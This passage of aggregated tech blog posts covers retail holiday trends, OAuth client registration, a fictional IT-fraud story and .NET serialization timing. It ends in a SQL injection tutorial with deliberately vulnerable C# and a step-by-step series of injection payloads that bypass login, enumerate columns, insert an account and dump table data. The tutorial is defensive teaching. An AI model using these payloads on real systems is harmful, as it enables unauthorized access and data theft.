  - by Rose Spicer-Oracle

  0 0 1 1204 6863 Oracle Corporation 57 16 8051 14.0 Normal 0 false false false EN-US JA X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Cambria; mso-ascii-font-family:Cambria; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Cambria; mso-hansi-theme-font:minor-latin;} Last month we attended the NRF Online Merchandising Workshop in LA, and it was a great opportunity to catch up with our customers, meet new retailers, and hear some great presentations from VF Corporation, Zazzle, Julep Beauty, Backcountry, eBags and more. The one-on-one conversations with Merchants and the keynote presentations carry the same themes across companies of all sizes and across verticals. With only 125 days left (and counting) until Black Friday, these conversations provided some great insight in to what’s top of mind for retailers during the most stressful time of their year, and a sneak peek in to what they will deliver this holiday season.  Some of the most popular topics were: When to start promoting for holiday: seems like a funny conversation to have in July, but a number of retailers said they already had their holiday shopping gift guides live on their site, and it was attracting a significant portion of their onsite traffic. When it comes to timing, most retailers were questioning when to begin their holiday promotions -- carefully balancing when to release pricing and specials, and knowing that customers are holding out for last-minute deals and price drops. Many retailers noted the frustrations around transparent pricing by Amazon and a few other mega-retailers last year, publishing their “lowest prices of the season” as early as October – ensuring shoppers that those prices were the best they could get all season long. Many retailers felt their hands were forced to drop prices. Others kept their set pricing with negative customer reaction, causing some to miss their holiday goals. The pressure is on, and most retailers identified November 1 as their target start date for the holiday promotions blitz. Some are even waiting for the big guys to release their “lowest prices of the season” guides and will then follow suit.      Attribution is tough – and a huge focus: understanding the path to conversion is a tough nut to crack, especially in the new omnichannel world where consumers use multiple touchpoints to make a single purchase, and internal management wants to know hard data. This has lead many retailers to invest in attribution; carefully tracking their online marketing efforts to determine what gets “credit” for the sale, instead of giving credit to the “last click.” Retailers noted that it is very difficult to determine the numbers when online and offline worlds collide – like when a shopper uses digital channels for research and then makes a purchase in a store. As one of the presenters from The North Face mentioned in her keynote, a key to enabling better customer service and satisfaction when it comes to converged online and offline sales is training the in-store staff, and creating a culture where it eventually “doesn’t matter what group gets the credit” if they all add to the sale. No doubt, the area of attribution will be a big area of retail investment in the coming years.      How to plan for the converged world: planning to ensure inventory gets where it needs to be was another concern. In conversations with retailers, we advised them to analyze customer patterns: where shoppers purchase items, where the items were sourced from and even where items are returned. This analysis is very valuable in determining inventory plans. From there, retailers can more accurately plan and allocate inventory to support both the online and offline customer behavior. As we head into the holiday season, the need for accurate enterprise-wide inventory visibility, and providing that information to associates, is even more critical to the brand-wide customer experience.       Improving the search / navigation / usability of the site(s): Aside from some of the big ideas and standard holiday pricing pressure, most conversations we had centered around continuing to improve the basics of the site. Reinvesting in search and navigation came up time and time again (FitForCommerce blogged about what a big topic it was at the event as well). Obviously getting shoppers on their path quickly and allowing them to find what they need fast is critical, but it was definitely interesting to hear just how much effort is still going in to honing the search and navigation experience. Adding new elements to search and navigation like typeahed, inventive navigation refinements, and new navigation categories like gift guides, specialized boutiques and flash sales were top of mind, in addition to searchandising and making search-driven product recommendations. (Oracle can help!)       Reducing cart abandonment: always a hot topic that is top of mind for every online retailer. Getting shoppers to the cart is often less then half the battle; getting them to click “buy” and complete the transaction is much more difficult. While retailers carefully study the checkout process and where shoppers tend to bounce, they know that how they design their checkout page is critical. We’re all online shoppers in our personal lives and we know how frustrating it can be when total prices are not transparent (i.e. shipping, processing, taxes is not included until the very last possible screen before clicking that buy button). Online retailers are struggling with where in the checkout process to surface the total price to be charged to reduce cart abandonment, while not showing the total figure too early in the process that it keeps shoppers from getting to checkout altogether. Recent research shows that providing total pricing prior to the checkout process dramatically reduces cart abandonment – as it serves as a filter to those shopping within a specific price band. Much of the cart abandonment discussion leads us to…       The free shipping / free returns question: it’s no secret that because of Amazon and programs like Prime, consumers expect free shipping, much to the chagrin of the smaller retailer. The reality is that if you’re not a mega-retailer, shipping is an expensive part of doing business that doesn’t allow most retailers to keep their prices low and offer free shipping. This has many retailers venturing out on the “free returns” path, especially in apparel. A number of retailers we spoke with are testing a flat rate shipping fee with free returns to see if they can crack the price threshold where shoppers are willing to pay for shipping with an added service. But, free shipping remains king.      Social ads and retargeting: they are working, but do they turn off consumers? That’s the big question. Every retailer we spoke with during a roundtable on the topic said that social ads and retargeting (where that pair of boots you’re been eyeing on a site magically follows you around the Internet) work and are meeting campaign goals. The larger question many retailers are asking is if this type of tactic is turning off a large number of shoppers, even if these campaigns are meeting their early goals. Retailers also mentioned that Facebook ads are working very well for them, especially when it comes to new customer acquisition, serving as a complimentary a channel to SEO when it comes to engaging new customers. While there are always new things to experiment with in retail, standard challenges are top of mind as retailers scramble to get ready for holiday. It will undoubtedly be another record-breaking online shopping season, but as retailers get more and more advanced with each Black Friday, expect some exciting things. This excitement needs to be backed by sound solutions and optimized operations. Then again, consumers are expecting more than ever, so I don’t doubt that retailers are already thinking about the possibilities of holiday 2015… and beyond. Customers who read this article, also found value in the following stories: Personalization for Retail: http://blogs.oracle.com/retail/entry/personalization_for_retailShop Direct User Experience Focus Drives Sales:https://blogs.oracle.com/retail/entry/shop_direct_user_experience_focusMaking Waves: Australian Online Retailer SurfStitch: https://blogs.oracle.com/oracleretail/entry/surf_stitchWhat’s new in Oracle Commerce v11.1 for RetailWhat the Content+Commerce Equation is Missing

  Read the article

• Standards Corner: OAuth WG Client Registration Problem

  - by Tanu Sood

  Phil Hunt is an active member of multiple industry standards groups and committees (see brief bio at the end of the post) and has spearheaded discussions, creation and ratifications of  Normal 0 false false false EN-US X-NONE X-NONE MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-family:"Calibri","sans-serif"; mso-ascii- mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi- mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} industry standards including the Kantara Identity Governance Framework, among others. Being an active voice in the industry standards development world, we have invited him to share his discussions, thoughts, news & updates, and discuss use cases, implementation success stories (and even failures) around industry standards on this monthly column. Author: Phil Hunt This afternoon, the OAuth Working Group will meet at IETF88 in Vancouver to discuss some important topics important to the maturation of OAuth. One of them is the OAuth client registration problem.OAuth (RFC6749) was initially developed with a simple deployment model where there is only monopoly or singleton cloud instance of a web API (e.g. there is one Facebook, one Google, on LinkedIn, and so on). When the API publisher and API deployer are the same monolithic entity, it easy for developers to contact the provider and register their app to obtain a client_id and credential.But what happens when the API is for an open source project where there may be 1000s of deployed copies of the API (e.g. such as wordpress). In these cases, the authors of the API are not the people running the API. In these scenarios, how does the developer obtain a client_id? An example of an "open deployed" API is OpenID Connect. Connect defines an OAuth protected resource API that can provide personal information about an authenticated user -- in effect creating a potentially common API for potential identity providers like Facebook, Google, Microsoft, Salesforce, or Oracle. In Oracle's case, Fusion applications will soon have RESTful APIs that are deployed in many different ways in many different environments. How will developers write apps that can work against an openly deployed API with whom the developer can have no prior relationship?At present, the OAuth Working Group has two proposals two consider: Dynamic RegistrationDynamic Registration was originally developed for OpenID Connect and UMA. It defines a RESTful API in which a prospective client application with no client_id creates a new client registration record with a service provider and is issued a client_id and credential along with a registration token that can be used to update registration over time.As proof of success, the OIDC community has done substantial implementation of this spec and feels committed to its use. Why not approve?Well, the answer is that some of us had some concerns, namely: Recognizing instances of software - dynamic registration treats all clients as unique. It has no defined way to recognize that multiple copies of the same client are being registered other then assuming if the registration parameters are similar it might be the same client. Versioning and Policy Approval of open APIs and clients - many service providers have to worry about change management. They expect to have approval cycles that approve versions of server and client software for use in their environment. In some cases approval might be wide open, but in many cases, approval might be down to the specific class of software and version. Registration updates - when does a client actually need to update its registration? Shouldn't it be never? Is there some characteristic of deployed code that would cause it to change? Options lead to complexity - because each client is treated as unique, it becomes unclear how the clients and servers will agree on what credentials forms are acceptable and what OAuth features are allowed and disallowed. Yet the reality is, developers will write their application to work in a limited number of ways. They can't implement all the permutations and combinations that potential service providers might choose. Stateful registration - if the primary motivation for registration is to obtain a client_id and credential, why can't this be done in a stateless fashion using assertions? Denial of service - With so much stateful registration and the need for multiple tokens to be issued, will this not lead to a denial of service attack / risk of resource depletion? At the very least, because of the information gathered, it would difficult for service providers to clean up "failed" registrations and determine active from inactive or false clients. There has yet to be much wide-scale "production" use of dynamic registration other than in small closed communities. Client Association A second proposal, Client Association, has been put forward by Tony Nadalin of Microsoft and myself. We took at look at existing use patterns to come up with a new proposal. At the Berlin meeting, we considered how WS-STS systems work. More recently, I took a review of how mobile messaging clients work. I looked at how Apple, Google, and Microsoft each handle registration with APNS, GCM, and WNS, and a similar pattern emerges. This pattern is to use an existing credential (mutual TLS auth), or client bearer assertion and swap for a device specific bearer assertion.In the client association proposal, the developer's registration with the API publisher is handled by having the developer register with an API publisher (as opposed to the party deploying the API) and obtaining a software "statement". Or, if there is no "publisher" that can sign a statement, the developer may include their own self-asserted software statement.A software statement is a special type of assertion that serves to lock application registration profile information in a signed assertion. The statement is included with the client application and can then be used by the client to swap for an instance specific client assertion as defined by section 4.2 of the OAuth Assertion draft and profiled in the Client Association draft. The software statement provides a way for service provider to recognize and configure policy to approve classes of software clients, and simplifies the actual registration to a simple assertion swap. Because the registration is an assertion swap, registration is no longer "stateful" - meaning the service provider does not need to store any information to support the client (unless it wants to). Has this been implemented yet? Not directly. We've only delivered draft 00 as an alternate way of solving the problem using well-known patterns whose security characteristics and scale characteristics are well understood. Dynamic Take II At roughly the same time that Client Association and Software Statement were published, the authors of Dynamic Registration published a "split" version of the Dynamic Registration (draft-richer-oauth-dyn-reg-core and draft-richer-oauth-dyn-reg-management). While some of the concerns above are addressed, some differences remain. Registration is now a simple POST request. However it defines a new method for issuing client tokens where as Client Association uses RFC6749's existing extension point. The concern here is whether future client access token formats would be addressed properly. Finally, Dyn-reg-core does not yet support software statements. Conclusion The WG has some interesting discussion to bring this back to a single set of specifications. Dynamic Registration has significant implementation, but Client Association could be a much improved way to simplify implementation of the overall OpenID Connect specification and improve adoption. In fairness, the existing editors have already come a long way. Yet there are those with significant investment in the current draft. There are many that have expressed they don't care. They just want a standard. There is lots of pressure on the working group to reach consensus quickly.And that folks is how the sausage is made.Note: John Bradley and Justin Richer recently published draft-bradley-stateless-oauth-client-00 which on first look are getting closer. Some of the details seem less well defined, but the same could be said of client-assoc and software-statement. I hope we can merge these specs this week. Normal 0 false false false EN-US X-NONE X-NONE MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-family:"Calibri","sans-serif"; mso-ascii- mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi- mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} About the Writer: Phil Hunt joined Oracle as part of the November 2005 acquisition of OctetString Inc. where he headed software development for what is now Oracle Virtual Directory. Since joining Oracle, Phil works as CMTS in the Identity Standards group at Oracle where he developed the Kantara Identity Governance Framework and provided significant input to JSR 351. Phil participates in several standards development organizations such as IETF and OASIS working on federation, authorization (OAuth), and provisioning (SCIM) standards.  Phil blogs at www.independentid.com and a Twitter handle of @independentid.

  Read the article

• When Your Boss Doesn't Want you to Succeed

  - by Phil Factor

  You're working hard to get an application finished. You are programming long into the evenings sometimes, and eating sandwiches at your desk instead of taking a lunch break. Then one day you glance up at the IT manager, serene in his mysterious round of meetings, and think 'Does he actually care whether this project succeeds or not?'. The question may seem absurd. Of course the project must succeed. The truth, as always, is often far more complex. Your manager may even be doing his best to make sure you don't succeed. Why? There have always been rich pickings for the unscrupulous in IT.  In extreme cases, where administrators struggle with scarcely-comprehended technical issues, huge sums of money can be lost and gained without any perceptible results. In a very few cases can fraud be proven: most of the time, the intricacies of the 'game' are such that one can do little more than harbor suspicion.  Where does over-enthusiastic salesmanship end and fraud begin? The Business of Information Technology provides rich opportunities for White-collar crime. The poor developer has his, or her, hands full with the task of wrestling with the sheer complexity of building an application. He, or she, has no time for following the complexities of the chicanery of the management that is directing affairs.  Most likely, the developers wouldn't even suspect that their company management had ulterior motives. I'll illustrate what I mean with an entirely fictional, hypothetical, example. The Opportunist and the Aged Charities often do good, unexciting work that is funded by the income from a bequest that dates back maybe hundreds of years.  In our example, it isn't exciting work, for it involves the welfare of elderly people who have fallen on hard times.  Volunteers visit, giving a smile and a chat, and check that they are all right, but are able to spend a little money on their discretion to ameliorate any pressing needs for these old folk.  The money is made to work very hard and the charity averts a great deal of suffering and eases the burden on the state. Daisy hears the garden gate creak as Mrs Rainer comes up the path. She looks forward to her twice-weekly visit from the nice lady from the trust. She always asked ‘is everything all right, Love’. Cheeky but nice. She likes her cheery manner. She seems interested in hearing her memories, and talking about her far-away family. She helps her with those chores in the house that she couldn’t manage and once even paid to fill the back-shed with coke, the other year. Nice, Mrs. Rainer is, she thought as she goes to open the door. The trustees are getting on in years themselves, and worry about the long-term future of the charity: is it relevant to modern society? Is it likely to attract a new generation of workers to take it on. They are instantly attracted by the arrival to the board of a smartly dressed University lecturer with the ear of the present Government. Alain 'Stalin' Jones is earnest, persuasive and energetic. The trustees welcome him to the board and quickly forgive his humorless political-correctness. He talks of 'diversity', 'relevance', 'social change', 'equality' and 'communities', but his eye is on that huge bequest. Alain first came to notice as a Trotskyite union official, who insinuated himself into one of the duller Trades Unions and turned it, through his passionate leadership, into a radical, headline-grabbing organization.  Middle age, and the rise of European federal socialism, had brought him quiet prosperity and charcoal suits, an ear in the current government, and a wide influence as a member of various Quangos (government bodies staffed by well-paid unelected courtiers).  He was employed as a 'consultant' by several organizations that relied on government contracts. After gaining the confidence of the trustees, and showing a surprising knowledge of mundane processes and the regulatory framework of charities, Alain launches his plan.  The trust will expand their work by means of a bold IT initiative that will coordinate the interventions of several 'caring agencies', and provide  emergency cover, a special Website so anxious relatives can see how their elderly charges are doing, and a vastly more efficient way of coordinating the work of the volunteer carers. It will also provide a special-purpose site that gives 'social networking' facilities, rather like Facebook, to the few elderly folk on the lists with access to the internet. The trustees perk up. Their own experience of the internet is restricted to the occasional scanning of railway timetables, but they can see that it is 'relevant'. In his next report to the other trustees, Alain proudly announces that all this glamorous and exciting technology can be paid for by a grant from the government. He admits darkly that he has influence. True to his word, the government promises a grant of a size that is an order of magnitude greater than any budget that the trustees had ever handled. There was the understandable proviso that the company that would actually do the IT work would have to be one of the government's preferred suppliers and the work would need to be tendered under EU competition rules. The only company that tenders, a multinational IT company with a long track record of government work, quotes ten million pounds for the work. A trustee questions the figure as it seems enormous for the reasonably trivial internet facilities being built, but the IT Salesmen dazzle them with presentations and three-letter acronyms until they subside into quiescent acceptance. After all, they can’t stay locked in the Twentieth century practices can they? The work is put in hand with a large project team, in a splendid glass building near west London. The trustees see rooms of programmers working diligently at screens, and who talk with enthusiasm of the project. Paul, the project manager, looked through his resource schedule with growing unease. His initial excitement at being given his first major project hadn’t lasted. He’d been allocated a lackluster team of developers whose skills didn’t seem right, and he was allowed only a couple of contractors to make good the deficit. Strangely, the presentation he’d given to his management, where he’d saved time and resources with a OTS solution to a great deal of the development work, and a sound conservative architecture, hadn’t gone down nearly as big as he’d hoped. He almost got the feeling they wanted a more radical and ambitious solution. The project starts slipping its dates. The costs build rapidly. There are certain uncomfortable extra charges that appear, such as the £600-a-day charge by the 'Business Manager' appointed to act as a point of liaison between the charity and the IT Company.  When he appeared, his face permanently split by a 'Mr Sincerity' smile, they'd thought he was provided at the cost of the IT Company. Derek, the DBA, didn’t have to go to the server room quite some much as he did: but It got him away from the poisonous despair of the development group. Wave after wave of events had conspired to delay the project.  Why the management had imposed hideous extra bureaucracy to cover ISO 9000 and 9001:2008 accreditation just as the project was struggling to get back on-schedule was  beyond belief.  Then  the Business manager was coming back with endless changes in scope, sorrowing saying that the Trustees were very insistent, though hopelessly out in touch with the reality of technical challenges. Suddenly, the costs mount to the point of consuming the government grant in its entirety. The project remains tantalizingly just out of reach. Alain Jones gives an emotional rallying speech at the trustees review meeting, urging them not to lose their nerve. Sadly, the trustees dip into the accumulated capital of the trust, the seed-corn of all their revenues, in order to save the IT project. A few months later it is all over. The IT project is never delivered, even though it had seemed so incredibly close.  With the trust's capital all gone, the activities it funded have to be terminated and the trust becomes just a shell. There aren't even the funds to mount a legal challenge against the IT company, even had the trust's solicitor advised such a foolish thing. Alain leaves as suddenly as he had arrived, only to pop up a few months later, bronzed and rested, at another charity. The IT workers who were permanent employees are dispersed to other projects, and the contractors leave to other contracts. Within months the entire project is but a vague memory. One or two developers remain  puzzled that their managers had been so obstructive when they should have welcomed progress toward completion of the project, but they put it down to incompetence and testosterone. Few suspected that they were actively preventing the project from getting finished. The relationships between the IT consultancy, and the government of the day are intricate, and made more complex by the Private Finance initiatives and political patronage.  The losers in this case were the taxpayers, and the beneficiaries of the trust, and, perhaps the soul of the original benefactor of the trust, whose bid to give his name some immortality had been scuppered by smooth-talking white-collar political apparatniks.  Even now, nobody is certain whether a crime was ever committed. The perfect heist, I guess. Where’s the victim? "I hear that Daisy’s cottage is up for sale. She’s had to go into a care home.  She didn’t want to at all, but then there is nobody to keep an eye on her since she had that minor stroke a while back.  A charity used to help out. The ‘social’ don’t have the funding, evidently for community care. Yes, her old cat was put down. There was a good clearout, and now the house is all scrubbed and cleared ready for sale. The skip was full of old photos and letters, memories. No room in her new ‘home’."

  Read the article

• Performance Optimization &ndash; It Is Faster When You Can Measure It

  - by Alois Kraus

  Performance optimization in bigger systems is hard because the measured numbers can vary greatly depending on the measurement method of your choice. To measure execution timing of specific methods in your application you usually use Time Measurement Method Potential Pitfalls Stopwatch Most accurate method on recent processors. Internally it uses the RDTSC instruction. Since the counter is processor specific you can get greatly different values when your thread is scheduled to another core or the core goes into a power saving mode. But things do change luckily: Intel's Designer's vol3b, section 16.11.1 "16.11.1 Invariant TSC The time stamp counter in newer processors may support an enhancement, referred to as invariant TSC. Processor's support for invariant TSC is indicated by CPUID.80000007H:EDX[8]. The invariant TSC will run at a constant rate in all ACPI P-, C-. and T-states. This is the architectural behavior moving forward. On processors with invariant TSC support, the OS may use the TSC for wall clock timer services (instead of ACPI or HPET timers). TSC reads are much more efficient and do not incur the overhead associated with a ring transition or access to a platform resource." DateTime.Now Good but it has only a resolution of 16ms which can be not enough if you want more accuracy.   Reporting Method Potential Pitfalls Console.WriteLine Ok if not called too often. Debug.Print Are you really measuring performance with Debug Builds? Shame on you. Trace.WriteLine Better but you need to plug in some good output listener like a trace file. But be aware that the first time you call this method it will read your app.config and deserialize your system.diagnostics section which does also take time.   In general it is a good idea to use some tracing library which does measure the timing for you and you only need to decorate some methods with tracing so you can later verify if something has changed for the better or worse. In my previous article I did compare measuring performance with quantum mechanics. This analogy does work surprising well. When you measure a quantum system there is a lower limit how accurately you can measure something. The Heisenberg uncertainty relation does tell us that you cannot measure of a quantum system the impulse and location of a particle at the same time with infinite accuracy. For programmers the two variables are execution time and memory allocations. If you try to measure the timings of all methods in your application you will need to store them somewhere. The fastest storage space besides the CPU cache is the memory. But if your timing values do consume all available memory there is no memory left for the actual application to run. On the other hand if you try to record all memory allocations of your application you will also need to store the data somewhere. This will cost you memory and execution time. These constraints are always there and regardless how good the marketing of tool vendors for performance and memory profilers are: Any measurement will disturb the system in a non predictable way. Commercial tool vendors will tell you they do calculate this overhead and subtract it from the measured values to give you the most accurate values but in reality it is not entirely true. After falling into the trap to trust the profiler timings several times I have got into the habit to Measure with a profiler to get an idea where potential bottlenecks are. Measure again with tracing only the specific methods to check if this method is really worth optimizing. Optimize it Measure again. Be surprised that your optimization has made things worse. Think harder Implement something that really works. Measure again Finished! - Or look for the next bottleneck. Recently I have looked into issues with serialization performance. For serialization DataContractSerializer was used and I was not sure if XML is really the most optimal wire format. After looking around I have found protobuf-net which uses Googles Protocol Buffer format which is a compact binary serialization format. What is good for Google should be good for us. A small sample app to check out performance was a matter of minutes: using ProtoBuf; using System; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.Serialization; [DataContract, Serializable] class Data { [DataMember(Order=1)] public int IntValue { get; set; } [DataMember(Order = 2)] public string StringValue { get; set; } [DataMember(Order = 3)] public bool IsActivated { get; set; } [DataMember(Order = 4)] public BindingFlags Flags { get; set; } } class Program { static MemoryStream _Stream = new MemoryStream(); static MemoryStream Stream { get { _Stream.Position = 0; _Stream.SetLength(0); return _Stream; } } static void Main(string[] args) { DataContractSerializer ser = new DataContractSerializer(typeof(Data)); Data data = new Data { IntValue = 100, IsActivated = true, StringValue = "Hi this is a small string value to check if serialization does work as expected" }; var sw = Stopwatch.StartNew(); int Runs = 1000 * 1000; for (int i = 0; i < Runs; i++) { //ser.WriteObject(Stream, data); Serializer.Serialize<Data>(Stream, data); } sw.Stop(); Console.WriteLine("Did take {0:N0}ms for {1:N0} objects", sw.Elapsed.TotalMilliseconds, Runs); Console.ReadLine(); } } The results are indeed promising: Serializer Time in ms N objects protobuf-net   807 1000000 DataContract 4402 1000000 Nearly a factor 5 faster and a much more compact wire format. Lets use it! After switching over to protbuf-net the transfered wire data has dropped by a factor two (good) and the performance has worsened by nearly a factor two. How is that possible? We have measured it? Protobuf-net is much faster! As it turns out protobuf-net is faster but it has a cost: For the first time a type is de/serialized it does use some very smart code-gen which does not come for free. Lets try to measure this one by setting of our performance test app the Runs value not to one million but to 1. Serializer Time in ms N objects protobuf-net 85 1 DataContract 24 1 The code-gen overhead is significant and can take up to 200ms for more complex types. The break even point where the code-gen cost is amortized by its faster serialization performance is (assuming small objects) somewhere between 20.000-40.000 serialized objects. As it turned out my specific scenario involved about 100 types and 1000 serializations in total. That explains why the good old DataContractSerializer is not so easy to take out of business. The final approach I ended up was to reduce the number of types and to serialize primitive types via BinaryWriter directly which turned out to be a pretty good alternative. It sounded good until I measured again and found that my optimizations so far do not help much. After looking more deeper at the profiling data I did found that one of the 1000 calls did take 50% of the time. So how do I find out which call it was? Normal profilers do fail short at this discipline. A (totally undeserved) relatively unknown profiler is SpeedTrace which does unlike normal profilers create traces of your applications by instrumenting your IL code at runtime. This way you can look at the full call stack of the one slow serializer call to find out if this stack was something special. Unfortunately the call stack showed nothing special. But luckily I have my own tracing as well and I could see that the slow serializer call did happen during the serialization of a bool value. When you encounter after much analysis something unreasonable you cannot explain it then the chances are good that your thread was suspended by the garbage collector. If there is a problem with excessive GCs remains to be investigated but so far the serialization performance seems to be mostly ok.  When you do profile a complex system with many interconnected processes you can never be sure that the timings you just did measure are accurate at all. Some process might be hitting the disc slowing things down for all other processes for some seconds as well. There is a big difference between warm and cold startup. If you restart all processes you can basically forget the first run because of the OS disc cache, JIT and GCs make the measured timings very flexible. When you are in need of a random number generator you should measure cold startup times of a sufficiently complex system. After the first run you can try again getting different and much lower numbers. Now try again at least two times to get some feeling how stable the numbers are. Oh and try to do the same thing the next day. It might be that the bottleneck you found yesterday is gone today. Thanks to GC and other random stuff it can become pretty hard to find stuff worth optimizing if no big bottlenecks except bloatloads of code are left anymore. When I have found a spot worth optimizing I do make the code changes and do measure again to check if something has changed. If it has got slower and I am certain that my change should have made it faster I can blame the GC again. The thing is that if you optimize stuff and you allocate less objects the GC times will shift to some other location. If you are unlucky it will make your faster working code slower because you see now GCs at times where none were before. This is where the stuff does get really tricky. A safe escape hatch is to create a repro of the slow code in an isolated application so you can change things fast in a reliable manner. Then the normal profilers do also start working again. As Vance Morrison does point out it is much more complex to profile a system against the wall clock compared to optimize for CPU time. The reason is that for wall clock time analysis you need to understand how your system does work and which threads (if you have not one but perhaps 20) are causing a visible delay to the end user and which threads can wait a long time without affecting the user experience at all. Next time: Commercial profiler shootout.

  Read the article

• SQL Server SQL Injection from start to end

  - by Mladen Prajdic

  SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = 